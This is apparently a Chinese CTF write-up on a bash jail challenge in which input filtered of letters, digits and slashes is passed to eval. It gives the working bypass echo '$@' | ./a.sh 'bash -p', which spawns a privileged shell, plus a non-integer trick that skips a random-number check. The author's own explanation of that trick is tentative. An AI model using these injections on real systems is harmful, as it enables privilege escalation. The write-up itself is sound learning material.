好久没打过靶机了,也没更新过,今天在群里看到了群主发了一个题目就玩了一下,顺便水一期wp

题目:

image-20250322153403638

PATH=/usr/bin
read INPUT < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$INPUT"

浅瞄了一眼,发现tr删除了所有字母、数字和斜杠,但保留特殊符号,那就有搞头

ps:$@ 在 Shell 中表示脚本的所有参数,可被 eval 解析。

我们可以构造输入$@,绕过字符过滤。然后再传递参数bash -p启动特权Shell。

解法:

echo '$@' | ./a.sh 'bash -p'

但是我的不是预期解

image-20250322153428456

image-20250322153442791

这两个是预期的

然后.....

image-20250322153453994

加强版:

#!/bin/bash

PATH=/usr/bin

a=$((RANDOM%100))

echo $a

read -r INPUTS


if [[ "$INPUTS" -ne "$a" ]]; then
    exit 1
fi

read INPUT < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$INPUT"

加了一个随机数,我本身是说爆破的......

image-20250322153509806

然后后面有空瞄了几眼,因为我知道它在进行整数的比较,那我就在想如果输入一个非整数会怎么样,然后......

image-20250322153523210

有戏

image-20250322153725388

然后我后面我想找一下这方面的资料,但是我没找到,我打算明天再去问问群主,因为他bash比较好(不过我感觉他会自己来看我的wp)

目前我的理解是当使用-ne比较非数字字符串时,Bash会尝试将两边转换为整数。如果转换失败,就会报错什么的,[[ ]]表达式的结果会被视为false,因为比较操作本身无效,导致整个条件判断为假,因此不执行exit 1。

不管了,睡觉,等群主给我解惑了